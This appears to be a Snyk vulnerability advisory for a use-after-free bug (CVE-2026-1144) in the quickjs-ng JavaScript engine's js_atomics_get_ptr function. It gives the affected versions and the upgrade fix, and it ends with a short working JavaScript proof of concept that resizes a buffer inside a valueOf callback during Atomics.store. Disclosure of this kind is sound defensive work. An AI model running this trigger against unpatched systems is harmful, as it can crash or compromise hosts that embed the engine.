Use After Free Affecting quickjs-ng/quickjs package, versions [0,0.12.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-QUICKJSNGQUICKJS-15035875
- published19 Jan 2026
- disclosed19 Jan 2026
- creditMcsky23
Introduced: 19 Jan 2026
CVE-2026-1144 (opens in a new tab)How to fix?
Upgrade quickjs-ng/quickjs to version 0.12.0 or higher.
Overview
Affected versions of this package are vulnerable to Use After Free via the js_atomics_get_ptr function in the file quickjs.c. An attacker can cause a crash or unintended behavior by triggering the use of freed memory through crafted input.
PoC
const rab = new ArrayBuffer(1024, { maxByteLength: 1024 * 1024 });
const i32 = new Int32Array(rab);
const evil = {
valueOf: () => {
console.log("resize buffer");
rab.resize(0);
return 123;
}
};
Atomics.store(i32, 0, evil);